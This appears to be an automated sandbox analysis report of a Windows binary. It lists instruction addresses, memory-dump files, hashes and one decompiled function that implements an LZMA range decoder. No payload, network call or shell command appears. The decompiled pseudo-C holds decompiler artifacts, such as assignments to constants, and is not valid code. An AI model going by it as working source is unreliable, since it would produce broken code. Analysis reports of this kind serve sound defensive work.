0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00000000
0x00406784
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406734
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x00406766
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00000000
0x004065d9
0x004065d7
0x0040680c
0x00000000
0x00000000
0x00405e3b

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction ID: c975835c63a62796fcb7e955cfffcd5e326eaa1512836fcadbce1623bdfadb04
Opcode Fuzzy Hash: a5c1a6d88fbf3736e083e35a306841f5f7567a3339756a66f66144e6d7487cc4
Instruction Fuzzy Hash: AF816671D00229CFDF24CFA8C8447AEBBB1FB44305F25816AD856BB281C7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405DF9, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00405DF9(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M0040684B))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8);
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
							_v60 = (__eflags >= 0) - 1 + 0xb;
							goto L123;
						case 0x16:
							__eax = _v52;
							__eflags = __eax - 4;
							if(__eax >= 4) {
								_push(3);
								_pop(__eax);
							}
							__ecx = _v8;
							_v68 = 6;
							__eax = __eax << 7;
							_v128 = 0x19;
							_v92 = __eax;
							goto L148;
						case 0x17:
							L148:
							__eax = _v68;
							_v84 = 1;
							_v76 = _v68;
							goto L152;
						case 0x18:
							L149:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x18;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t490 =  &_v116;
							 *_t490 = _v116 + 1;
							__eflags =  *_t490;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L151:
							_t493 =  &_v76;
							 *_t493 = _v76 - 1;
							__eflags =  *_t493;
							L152:
							__eflags = _v76;
							if(_v76 <= 0) {
								__ecx = _v68;
								__ebx = _v84;
								0 = 1;
								__eax = 1 << __cl;
								__ebx = _v84 - (1 << __cl);
								__eax = _v128;
								_v72 = __ebx;
								L143:
								_v140 = _t561;
								goto L3;
							}
							__eax = _v84;
							_v20 = _v20 >> 0xb;
							__edx = _v84 + _v84;
							__eax = _v92;
							__esi = __edx + __eax;
							_v88 = __esi;
							__ax =  *__esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								__cx = __ax >> 5;
								__eax = __eax - __ecx;
								__edx = __edx + 1;
								__eflags = __edx;
								 *__esi = __ax;
								_v84 = __edx;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								_v84 = _v84 << 1;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L151;
							} else {
								goto L149;
							}
						case 0x19:
							__eflags = __ebx - 4;
							if(__ebx < 4) {
								_v48 = __ebx;
								L122:
								_t399 =  &_v48;
								 *_t399 = _v48 + 1;
								__eflags =  *_t399;
								L123:
								__eax = _v48;
								__eflags = __eax;
								if(__eax == 0) {
									_v52 = _v52 | 0xffffffff;
									goto L173;
								}
								__eflags = __eax - _v100;
								if(__eax > _v100) {
									goto L174;
								}
								_v52 = _v52 + 2;
								__eax = _v52;
								_t406 =  &_v100;
								 *_t406 = _v100 + _v52;
								__eflags =  *_t406;
								goto L126;
							}
							__ecx = __ebx;
							__eax = __ebx;
							__ecx = __ebx >> 1;
							__eax = __ebx & 0x00000001;
							__ecx = (__ebx >> 1) - 1;
							__al = __al | 0x00000002;
							__eax = (__ebx & 0x00000001) << __cl;
							__eflags = __ebx - 0xe;
							_v48 = __eax;
							if(__ebx >= 0xe) {
								__ebx = 0;
								_v76 = __ecx;
								L105:
								__eflags = _v76;
								if(_v76 <= 0) {
									__eax = __eax + __ebx;
									_v68 = 4;
									_v48 = __eax;
									__eax = _v8;
									__eax = _v8 + 0x644;
									__eflags = __eax;
									L111:
									__ebx = 0;
									_v92 = __eax;
									_v84 = 1;
									_v72 = 0;
									_v76 = 0;
									L115:
									__eax = _v68;
									__eflags = _v76 - _v68;
									if(_v76 >= _v68) {
										_t397 =  &_v48;
										 *_t397 = _v48 + __ebx;
										__eflags =  *_t397;
										goto L122;
									}
									__eax = _v84;
									_v20 = _v20 >> 0xb;
									__edi = _v84 + _v84;
									__eax = _v92;
									__esi = __edi + __eax;
									_v88 = __esi;
									__ax =  *__esi;
									__ecx = __ax & 0x0000ffff;
									__edx = (_v20 >> 0xb) * __ecx;
									__eflags = _v16 - __edx;
									if(_v16 >= __edx) {
										__ecx = 0;
										_v20 = _v20 - __edx;
										__ecx = 1;
										_v16 = _v16 - __edx;
										__ebx = 1;
										__ecx = _v76;
										__ebx = 1 << __cl;
										__ecx = 1 << __cl;
										__ebx = _v72;
										__ebx = _v72 | __ecx;
										__cx = __ax;
										__cx = __ax >> 5;
										__eax = __eax - __ecx;
										__edi = __edi + 1;
										__eflags = __edi;
										_v72 = __ebx;
										 *__esi = __ax;
										_v84 = __edi;
									} else {
										_v20 = __edx;
										0x800 = 0x800 - __ecx;
										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
										_v84 = _v84 << 1;
										 *__esi = __dx;
									}
									__eflags = _v20 - 0x1000000;
									if(_v20 >= 0x1000000) {
										L114:
										_t374 =  &_v76;
										 *_t374 = _v76 + 1;
										__eflags =  *_t374;
										goto L115;
									} else {
										goto L112;
									}
								}
								__ecx = _v16;
								__ebx = __ebx + __ebx;
								_v20 = _v20 >> 1;
								__eflags = _v16 - _v20;
								_v72 = __ebx;
								if(_v16 >= _v20) {
									__ecx = _v20;
									_v16 = _v16 - _v20;
									__ebx = __ebx | 0x00000001;
									__eflags = __ebx;
									_v72 = __ebx;
								}
								__eflags = _v20 - 0x1000000;
								if(_v20 >= 0x1000000) {
									L104:
									_t344 =  &_v76;
									 *_t344 = _v76 - 1;
									__eflags =  *_t344;
									goto L105;
								} else {
									goto L102;
								}
							}
							__edx = _v8;
							__eax = __eax - __ebx;
							_v68 = __ecx;
							__eax = _v8 + 0x55e + __eax * 2;
							goto L111;
						case 0x1a:
							L58:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1a;
								goto L173;
							}
							__ecx = _v108;
							__al = _v96;
							__edx = _v12;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_v104 = _v104 - 1;
							 *_v108 = __al;
							__ecx = _v24;
							 *(_v12 + __ecx) = __al;
							__eax = __ecx + 1;
							__edx = 0;
							_t197 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t197;
							goto L82;
						case 0x1b:
							L78:
							__eflags = _v104;
							if(_v104 == 0) {
								_v140 = 0x1b;
								goto L173;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__edx = _v12;
							__cl =  *(__edx + __eax);
							__eax = _v24;
							_v96 = __cl;
							 *(__edx + __eax) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t280 = __eax % _v120;
							__eax = __eax / _v120;
							__edx = _t280;
							__eax = _v108;
							_v100 = _v100 + 1;
							_v108 = _v108 + 1;
							_t289 =  &_v104;
							 *_t289 = _v104 - 1;
							__eflags =  *_t289;
							 *_v108 = __cl;
							L82:
							_v24 = __edx;
							goto L83;
						case 0x1c:
							while(1) {
								L126:
								__eflags = _v104;
								if(_v104 == 0) {
									break;
								}
								__eax = _v24;
								__eax = _v24 - _v48;
								__eflags = __eax - _v120;
								if(__eax >= _v120) {
									__eax = __eax + _v120;
									__eflags = __eax;
								}
								__edx = _v12;
								__cl =  *(__edx + __eax);
								__eax = _v24;
								_v96 = __cl;
								 *(__edx + __eax) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t420 = __eax % _v120;
								__eax = __eax / _v120;
								__edx = _t420;
								__eax = _v108;
								_v108 = _v108 + 1;
								_v104 = _v104 - 1;
								_v52 = _v52 - 1;
								__eflags = _v52;
								 *_v108 = __cl;
								_v24 = _t420;
								if(_v52 > 0) {
									continue;
								} else {
									L83:
									_v140 = 2;
									goto L3;
								}
							}
							_v140 = 0x1c;
							L173:
							_push(0x22);
							_pop(_t574);
							memcpy(_v148,  &_v140, _t574 << 2);
							return 0;
					}
				}
				L174:
				_t538 = _t537 | 0xffffffff;
				return _t538;
			}

0x00405e09
0x00405e10
0x00405e16
0x00405e1c
0x00000000
0x00405e20
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e42
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e57
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea2
0x00405ea5
0x00405ecd
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405ea7
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ebf
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
